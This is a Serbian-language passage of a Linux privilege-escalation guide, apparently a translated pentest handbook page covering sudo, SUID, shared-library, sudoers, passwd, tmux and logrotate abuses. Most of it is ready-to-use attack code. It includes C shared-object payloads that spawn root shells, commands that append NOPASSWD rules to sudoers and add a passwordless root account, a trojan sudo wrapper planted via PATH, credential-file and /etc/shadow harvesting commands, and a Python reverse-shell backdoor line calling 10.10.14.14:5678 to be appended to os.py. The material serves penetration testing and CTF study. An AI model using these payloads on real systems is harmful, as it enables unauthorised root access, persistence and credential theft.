Ova direktiva omogućava korisniku da postavi promenljivu okruženja dok nešto izvršava:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Ovaj primer, baziran na HTB mašini Admirer, bio je ranjiv na PYTHONPATH preusmeravanje kako bi se učitala proizvoljna Python biblioteka prilikom izvršavanja skripte kao root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

Bypassovanje izvršavanja Sudo komandi putem putanja

Skoknite da pročitate druge fajlove ili koristite simboličke veze. Na primer u sudoers fajlu: haker10 SVE= (root) /bin/manje /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Ako se koristi zvezdica (*), još je lakše:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Mere zaštite: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo komanda/SUID binarni fajl bez putanje komande

Ako je sudo dozvola data za jednu komandu bez navođenja putanje: hacker10 ALL= (root) less, možete je iskoristiti promenom PATH promenljive.

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Ova tehnika takođe može biti korišćena ako suid binarni fajl izvrši drugu komandu bez navođenja putanje do nje (uvek proverite sadržaj čudnog SUID binarnog fajla pomoću strings).

Primeri payload-a za izvršavanje.

SUID binarni fajl sa putanjom komande

Ako suid binarni fajl izvrši drugu komandu navodeći putanju, tada možete pokušati da izvezete funkciju nazvanu kao komanda koju suid fajl poziva.

Na primer, ako suid binarni fajl poziva /usr/sbin/service apache2 start morate pokušati da kreirate funkciju i izvezete je:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

LD_PRELOAD & LD_LIBRARY_PATH

LD_PRELOAD okružena promenljiva se koristi da se specificira jedna ili više deljenih biblioteka (.so fajlova) koje će biti učitane od strane loadera pre svih ostalih, uključujući standardnu C biblioteku (libc.so). Ovaj proces je poznat kao pred-ucitavanje biblioteke.

Međutim, radi održavanja sigurnosti sistema i sprečavanja zloupotrebe ove funkcije, posebno sa suid/sgid izvršljivim fajlovima, sistem sprovodi određene uslove:

  • Loader ignoriše LD_PRELOAD za izvršljive fajlove gde stvarni korisnički ID (ruid) ne odgovara efektivnom korisničkom ID-u (euid).
  • Za izvršljive fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje su takođe suid/sgid se pred-ucitavaju.

Eskalacija privilegija može se desiti ako imate mogućnost izvršavanja komandi sa sudo i izlaz sudo -l uključuje izjavu env_keep+=LD_PRELOAD. Ova konfiguracija dozvoljava LD_PRELOAD okruženoj promenljivoj da ostane prisutna i bude prepoznata čak i kada se komande izvršavaju sa sudo, potencijalno dovodeći do izvršavanja proizvoljnog koda sa povišenim privilegijama.

Defaults        env_keep += LD_PRELOAD

Sačuvaj kao /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Zatim ga kompajlirajte koristeći:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Na kraju, povećajte privilegije pokretanjem

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

{% hint style="danger" %} Sličan privesc može biti zloupotrebljen ako napadač kontroliše LD_LIBRARY_PATH env promenljivu jer kontroliše putanju gde će biblioteke biti tražene. {% endhint %}

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID binarni fajl - .so ubacivanje

Kada naiđete na binarni fajl sa SUID dozvolama koje deluju neobično, dobra praksa je da proverite da li pravilno učitava .so fajlove. Ovo možete proveriti pokretanjem sledeće komande:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Na primer, susretanje greške poput "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" sugeriše na potencijal za iskorišćavanje.

Da biste iskoristili ovo, trebalo bi da nastavite tako što ćete kreirati C fajl, recimo "/path/to/.config/libcalc.c", koji sadrži sledeći kod:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Ovaj kod, jednom kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulišući dozvolama datoteka i izvršavajući shell sa povećanim privilegijama.

Kompajlirajte gorenavedenu C datoteku u deljeni objekat (.so) datoteku sa:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Deljenje objekata Hakovanje

Konačno, pokretanje pogođenog SUID binarnog fajla trebalo bi da pokrene eksploataciju, omogućavajući potencijalno ugrožavanje sistema.

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Sada kada smo pronašli SUID binarnu datoteku koja učitava biblioteku iz foldera u koji možemo pisati, kreirajmo biblioteku u tom folderu sa potrebnim imenom:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Ako dobijete grešku poput

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

To znači da biblioteka koju ste generisali mora imati funkciju nazvanu a_function_name.

GTFOBins

GTFOBins je odabrani spisak Unix binarnih fajlova koje napadač može iskoristiti da zaobiđe lokalna sigurnosna ograničenja. GTFOArgs je isto to, ali za slučajeve kada možete samo ubaciti argumente u komandu.

Projekat prikuplja legitimne funkcije Unix binarnih fajlova koje mogu biti zloupotrebljene za izlazak iz ograničenih shell-ova, eskalaciju ili održavanje povišenih privilegija, prenos fajlova, pokretanje bind i reverse shell-ova, i olakšavanje drugih post-eksploatacionih zadataka.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

{% embed url="https://gtfobins.github.io/" %}

{% embed url="https://gtfoargs.github.io/" %}

FallOfSudo

Ako možete pristupiti sudo -l, možete koristiti alatku FallOfSudo da proverite da li može pronaći način da iskoristi bilo koju sudo pravilo.

Ponovna upotreba Sudo tokena

U slučajevima kada imate sudo pristup ali ne i lozinku, možete eskalirati privilegije čekajući izvršenje sudo komande i zatim preuzimajući sesijski token.

Uslovi za eskalaciju privilegija:

  • Već imate shell kao korisnik "sampleuser"
  • "sampleuser" je koristio sudo da izvrši nešto u poslednjih 15 minuta (podrazumevano trajanje sudo tokena koji nam omogućava korišćenje sudo bez unošenja bilo koje lozinke)
  • cat /proc/sys/kernel/yama/ptrace_scope je 0
  • gdb je dostupan (možete ga otpremiti)

(Možete privremeno omogućiti ptrace_scope sa echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope ili trajno modifikujući /etc/sysctl.d/10-ptrace.conf i postavljajući kernel.yama.ptrace_scope = 0)

Ako su svi ovi uslovi ispunjeni, možete eskalirati privilegije koristeći: https://github.com/nongiach/sudo_inject

  • Prva eksploatacija (exploit.sh) će kreirati binarni fajl activate_sudo_token u /tmp. Možete ga koristiti da aktivirate sudo token u vašoj sesiji (nećete automatski dobiti root shell, uradite sudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • Drugi eksploit (exploit_v2.sh) će kreirati sh shell u /tmp vlasništvu root-a sa setuid-om
bash exploit_v2.sh
/tmp/sh -p
  • Treći eksploit (exploit_v3.sh) će kreirati sudoers fajl koji čini sudo token-e večnim i omogućava svim korisnicima korišćenje sudo-a.
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Korisničko_ime>

Ako imate dozvole za pisanje u folderu ili na bilo kojoj od kreiranih datoteka unutar foldera, možete koristiti binarni fajl write_sudo_token da kreirate sudo token za korisnika i PID. Na primer, ako možete prebrisati datoteku /var/run/sudo/ts/sampleuser i imate shell kao taj korisnik sa PID-om 1234, možete dobiti sudo privilegije bez potrebe da znate lozinku koristeći:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Datoteka /etc/sudoers i datoteke unutar /etc/sudoers.d konfigurišu ko može koristiti sudo i kako. Ove datoteke podrazumevano mogu čitati samo korisnik root i grupa root.
Ako možete čitati ovu datoteku, možete dobiti neke zanimljive informacije, a ako možete pisati bilo koju datoteku, možete doseći privilegije.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Ako možete pisati, možete zloupotrebiti ovo ovlašćenje

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Još jedan način za zloupotrebu ovih dozvola:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Postoje neke alternative za binarni sudo poput doas za OpenBSD, ne zaboravite da proverite njegovu konfiguraciju na lokaciji /etc/doas.conf

permit nopass demo as root cmd vim

Sudo preuzimanje kontrole

Ako znate da se korisnik obično povezuje na mašinu i koristi sudo za povećanje privilegija i dobijete shell unutar tog korisničkog konteksta, možete napraviti novi sudo izvršni fajl koji će izvršiti vaš kod kao root, a zatim korisnikovu komandu. Zatim, izmenite $PATH korisničkog konteksta (na primer dodavanjem novog puta u .bash_profile) tako da kada korisnik izvrši sudo, vaš sudo izvršni fajl bude izvršen.

Imajte na umu da ako korisnik koristi drugi shell (ne bash), moraćete da izmenite druge fajlove da biste dodali novi put. Na primer, sudo-piggyback modifikuje ~/.bashrc, ~/.zshrc, ~/.bash_profile. Možete pronaći još jedan primer u bashdoor.py

Ili pokretanje nečega poput:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo export PATH=/tmp:$PATH >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Deljena biblioteka

ld.so

Datoteka /etc/ld.so.conf pokazuje odakle se učitavaju konfiguracione datoteke. Tipično, ova datoteka sadrži sledeći put: include /etc/ld.so.conf.d/*.conf

To znači da će se konfiguracione datoteke iz /etc/ld.so.conf.d/*.conf čitati. Ove konfiguracione datoteke ukazuju na druge foldere gde će se tražiti biblioteke. Na primer, sadržaj /etc/ld.so.conf.d/libc.conf je /usr/local/lib. Ovo znači da će sistem tražiti biblioteke unutar /usr/local/lib.

Ako iz nekog razloga korisnik ima dozvole za pisanje na bilo kom od navedenih putanja: /etc/ld.so.conf, /etc/ld.so.conf.d/, bilo koja datoteka unutar /etc/ld.so.conf.d/ ili bilo koji folder unutar konfiguracione datoteke unutar /etc/ld.so.conf.d/*.conf, može imati mogućnost eskalacije privilegija.
Pogledajte kako iskoristiti ovu lošu konfiguraciju na sledećoj stranici:

{% content-ref url="ld.so.conf-example.md" %} ld.so.conf-example.md {% endcontent-ref %}

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Kopiranjem lib datoteke u /var/tmp/flag15/ koristiće je program na tom mestu kako je navedeno u RPATH promenljivoj.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Zatim kreiraj zlonamernu biblioteku u /var/tmp sa gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Mogućnosti

Linux mogućnosti pružaju podskup dostupnih root privilegija procesu. Ovo efikasno razbija root privilegije na manje i različite jedinice. Svaka od ovih jedinica može zasebno biti dodeljena procesima. Na ovaj način kompletan set privilegija je smanjen, smanjujući rizik od zloupotrebe.
Pročitajte sledeću stranicu da saznate više o mogućnostima i kako ih zloupotrebiti:

{% content-ref url="linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}

Dozvole direktorijuma

U direktorijumu, bit za "izvršavanje" implicira da korisnik može "cd" u folder.
Bit "čitanja" implicira da korisnik može listati datoteke, a bit "pisanja" implicira da korisnik može brisati i kreirati nove datoteke.

ACL-ovi

Access Control Lists (ACL-ovi) predstavljaju sekundarni sloj diskrecionih dozvola, sposoban za premošćavanje tradicionalnih ugo/rwx dozvola. Ove dozvole poboljšavaju kontrolu pristupa datotekama ili direktorijumima omogućavajući ili odbijajući prava specifičnim korisnicima koji nisu vlasnici ili deo grupe. Ovaj nivo granularnosti osigurava preciznije upravljanje pristupom. Više detalja možete pronaći ovde.

Dajte korisniku "kali" dozvole za čitanje i pisanje nad datotekom:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Preuzmite fajlove sa određenim ACL-ovima sa sistema:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Otvorite sesije ljuske

U starijim verzijama možete preuzeti kontrolu nad nekom sesijom ljuske drugog korisnika (root).
U najnovijim verzijama možete se povezati samo na sesije vašeg korisnika. Međutim, možete pronaći zanimljive informacije unutar sesije.

Preuzimanje kontrole nad sesijama ekrana

Izlistajte sesije ekrana

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Povežite se sa sesijom

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

Hakovanje tmux sesija

Ovo je bio problem sa starijim verzijama tmux-a. Nisam mogao da preuzmem kontrolu nad tmux (v2.1) sesijom kreiranom od strane root korisnika kao neprivilegovani korisnik.

Lista tmux sesija

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Poveži se sa sesijom

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Proverite Valentine box from HTB za primer.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Svi SSL i SSH ključevi generisani na Debian baziranim sistemima (Ubuntu, Kubuntu, itd) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bagom.
Ovaj bag se javlja prilikom kreiranja novog ssh ključa na ovim OS, jer je bilo moguće samo 32,768 varijacija. To znači da su sve mogućnosti izračunate i imajući ssh javni ključ možete tražiti odgovarajući privatni ključ. Izračunate mogućnosti možete pronaći ovde: https://github.com/g0tmi1k/debian-ssh

SSH Interesantne vrednosti konfiguracije

  • PasswordAuthentication: Određuje da li je autentikacija lozinkom dozvoljena. Podrazumevana vrednost je no.
  • PubkeyAuthentication: Određuje da li je autentikacija javnim ključem dozvoljena. Podrazumevana vrednost je yes.
  • PermitEmptyPasswords: Kada je autentikacija lozinkom dozvoljena, određuje da li server dozvoljava prijavljivanje na naloge sa praznim lozinkama. Podrazumevana vrednost je no.

PermitRootLogin

Određuje da li root može da se prijavi korišćenjem ssh, podrazumevana vrednost je no. Moguće vrednosti:

  • yes: root može da se prijavi korišćenjem lozinke i privatnog ključa
  • without-password ili prohibit-password: root se može prijaviti samo sa privatnim ključem
  • forced-commands-only: Root se može prijaviti samo korišćenjem privatnog ključa i ako su opcije komandi navedene
  • no : ne

AuthorizedKeysFile

Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentikaciju korisnika. Može sadržati oznake poput %h, koje će biti zamenjene sa matičnim direktorijumom. Možete navesti apsolutne putanje (počinjući sa /) ili relativne putanje od korisnikovog matičnog direktorijuma. Na primer:

AuthorizedKeysFile    .ssh/authorized_keys access

Ta konfiguracija će ukazati da ako pokušate da se prijavite sa privatnim ključem korisnika "testusername", ssh će uporediti javni ključ vašeg ključa sa onima koji se nalaze u /home/testusername/.ssh/authorized_keys i /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding vam omogućava da koristite svoje lokalne SSH ključeve umesto što ostavljate ključeve (bez lozinki!) na vašem serveru. Takođe, bićete u mogućnosti da skočite preko ssh na jedan host i odatle skočite na drugi host koristeći ključ koji se nalazi na vašem početnom hostu.

Potrebno je postaviti ovu opciju u $HOME/.ssh.config na sledeći način:

Host example.com
ForwardAgent yes

Primetite da ako je Host *, svaki put kada korisnik pređe na drugu mašinu, ta mašina će moći da pristupi ključevima (što predstavlja sigurnosni problem).

Fajl /etc/ssh_config može zameniti ove opcije i dozvoliti ili zabraniti ovu konfiguraciju.
Fajl /etc/sshd_config može dozvoliti ili zabraniti prosleđivanje ssh-agenta pomoću ključne reči AllowAgentForwarding (podrazumevano je dozvoljeno).

Ako otkrijete da je Forward Agent konfigurisan u okruženju, pročitajte sledeću stranicu jer možda možete iskoristiti to za eskalaciju privilegija:

{% content-ref url="ssh-forward-agent-exploitation.md" %} ssh-forward-agent-exploitation.md {% endcontent-ref %}

Interesantni Fajlovi

Fajlovi profila

Fajl /etc/profile i fajlovi u /etc/profile.d/ su skripte koje se izvršavaju kada korisnik pokrene novu ljusku. Dakle, ako možete pisati ili menjati bilo koji od njih, možete eskalirati privilegije.

ls -l /etc/profile /etc/profile.d/

Passwd/Shadow Fajlovi

U zavisnosti od OS-a, fajlovi /etc/passwd i /etc/shadow mogu imati drugačije ime ili postojati rezervna kopija. Stoga se preporučuje pronaći sve njih i proveriti da li možete da ih pročitate kako biste videli da li u fajlovima postoje heševi:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

U nekim situacijama možete pronaći hash-ove lozinki unutar datoteke /etc/passwd (ili ekvivalentne).

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Pisanje u /etc/passwd

Prvo generišite lozinku pomoću jedne od sledećih komandi.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Zatim dodajte korisnika hacker i dodajte generisanu lozinku.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Na primer: haker:$1$haker$TzyKlv0/R/c28R.GAeLw.1:0:0:Haker:/root:/bin/bash

Sada možete koristiti su komandu sa haker:haker

Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.
UPOZORENJE: možete smanjiti trenutnu sigurnost mašine.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NAPOMENA: Na BSD platformama /etc/passwd se nalazi na lokaciji /etc/pwd.db i /etc/master.passwd, takođe se /etc/shadow preimenuje u /etc/spwd.db.

Treba da proverite da li možete pisati u neke osetljive datoteke. Na primer, da li možete pisati u neku konfiguracionu datoteku servisa?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Na primer, ako mašina pokreće tomcat server i možete izmeniti konfiguracioni fajl Tomcat servisa unutar /etc/systemd/, tada možete izmeniti linije:

ExecStart=/path/to/backdoor
User=root
Group=root

Provera Foldera

Sledeći folderi mogu sadržati rezervne kopije ili zanimljive informacije: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Verovatno nećete moći da pročitate poslednji, ali pokušajte)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Čudna lokacija/Vlasničke datoteke

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Izmenjeni fajlovi u poslednjih nekoliko minuta

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB fajlovi

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_istorija, .sudo_kao_admin_uspešno, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fajlovi

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Skriveni fajlovi

find / -type f -iname ".*" -ls 2>/dev/null

Skripte/Binarni fajlovi u PUTANJI

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Veb fajlovi

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Bezbednosne kopije

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Poznati fajlovi koji sadrže šifre

Pročitajte kod linPEAS, on pretražuje nekoliko mogućih fajlova koji bi mogli sadržati šifre.
Još jedan zanimljiv alat koji možete koristiti za to je: LaZagne koji je otvorena aplikacija korišćena za pronalaženje mnogo šifri sačuvanih na lokalnom računaru za Windows, Linux & Mac.

Logovi

Ako možete čitati logove, možda ćete moći pronaći zanimljive/poverljive informacije unutar njih. Što su logovi čudniji, to će verovatno biti interesantniji.
Takođe, neki "loše" konfigurisani (sa zadnjim vratima?) audit logovi mogu vam dozvoliti da zabeležite šifre unutar audit logova kako je objašnjeno u ovom postu: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Da biste čitali dnevnike grupe adm će biti zaista korisno.

Shell fajlovi

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Opšta pretraga/Regex za kredencijale

Trebalo bi da proverite i da li postoje fajlovi koji sadrže reč "password" u svom nazivu ili unutar sadržaja, kao i da proverite IP adrese i email adrese unutar logova, ili heš regexps.
Neću ovde navesti kako da uradite sve ovo, ali ako vas zanima, možete proveriti poslednje provere koje linpeas vrši.

Fajlovi sa dozvolom za pisanje

Hakovanje Python biblioteke

Ako znate odakle će se izvršavati python skripta i možete pisati unutar te fascikle ili možete menjati python biblioteke, možete izmeniti OS biblioteku i ubaciti zadnja vrata (ako možete pisati gde će se izvršavati python skripta, kopirajte i nalepite os.py biblioteku).

Da biste ubacili zadnja vrata u biblioteku, samo dodajte na kraj os.py biblioteke sledeću liniju (promenite IP i PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Eksploatacija Logrotate-a

Ranjivost u logrotate-u omogućava korisnicima sa dozvolama za pisanje na datoteci dnevnika ili njenim nadređenim direktorijumima da potencijalno steknu privilegije. Ovo je zato što se logrotate, često pokreće kao root, može manipulisati da izvrši proizvoljne datoteke, posebno u direktorijumima poput /etc/bash_completion.d/. Važno je proveriti dozvole ne samo u /var/log već i u bilo kom direktorijumu gde se primenjuje rotacija dnevnika.

{% hint style="info" %} Ova ranjivost utiče na verziju logrotate-a 3.18.0 i starije {% endhint %}

Detaljnije informacije o ranjivosti mogu se pronaći na ovoj stranici: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Možete iskoristiti ovu ranjivost sa logrotten.

Ova ranjivost je vrlo slična CVE-2016-1247 (nginx logs), pa svaki put kada primetite da možete menjati dnevnike, proverite ko upravlja tim dnevnicima i proverite da li možete eskalirati privilegije zamenom dnevnika simboličkim linkovima.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Reference ranjivosti: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Ako, iz bilo kog razloga, korisnik može pisati skriptu ifcf-<bilo šta> u /etc/sysconfig/network-scripts ili može prilagoditi postojeću, onda je vaš sistem kompromitovan.

Mrežne skripte, ifcg-eth0 na primer, koriste se za mrežne veze. Izgledaju tačno kao .INI datoteke. Međutim, one se ~pokreću~ na Linuxu putem Network Managera (dispatcher.d).

U mom slučaju, NAME= atribut u ovim mrežnim skriptama nije pravilno obrađen. Ako imate beli/prazan prostor u imenu, sistem pokušava da izvrši deo nakon belog/praznog prostora. To znači da se sve posle prvog belog prostora izvršava kao root.

Na primer: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

init, init.d, systemd i rc.d

Direktorijum /etc/init.d je dom za skripte za System V init (SysVinit), klasični Linux sistem upravljanja uslugama. Uključuje skripte za startovanje, zaustavljanje, restartovanje, i ponekad ponovno učitavanje usluga. Ove skripte se mogu izvršiti direktno ili putem simboličkih veza koje se nalaze u /etc/rc?.d/. Alternativna putanja u Redhat sistemima je /etc/rc.d/init.d.

S druge strane, /etc/init je povezan sa Upstart-om, novijim sistemom upravljanja uslugama koji je uveden od strane Ubuntua, koristeći konfiguracione fajlove za zadatke upravljanja uslugama. Iako je prešlo na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u.

systemd se pojavljuje kao moderni inicijalizator i upravljač uslugama, nudeći napredne funkcije poput pokretanja demona po potrebi, upravljanja automatskim montiranjem i snimaka stanja sistema. Organizuje fajlove u /usr/lib/systemd/ za distribucione pakete i /etc/systemd/system/ za administratorske modifikacije, olakšavajući proces administracije sistema.

Ostale Trikove

Eskalacija privilegija preko NFS

{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} nfs-no_root_squash-misconfiguration-pe.md {% endcontent-ref %}

Bekstvo iz ograničenih Shell-ova

{% content-ref url="escaping-from-limited-bash.md" %} escaping-from-limited-bash.md {% endcontent-ref %}

Cisco - vmanage

{% content-ref url="cisco-vmanage.md" %} cisco-vmanage.md {% endcontent-ref %}

Zaštita Kernela

Više pomoći

Statični impacket binarni fajlovi

Alati za Eskalaciju Privilegija na Linux/Unix sistemu

Najbolji alat za traženje vektora eskalacije privilegija na lokalnom Linux sistemu: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t opcija)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumeracija ranjivosti kernela u Linuxu i MAC-u https://github.com/spencerdodd/kernelpop
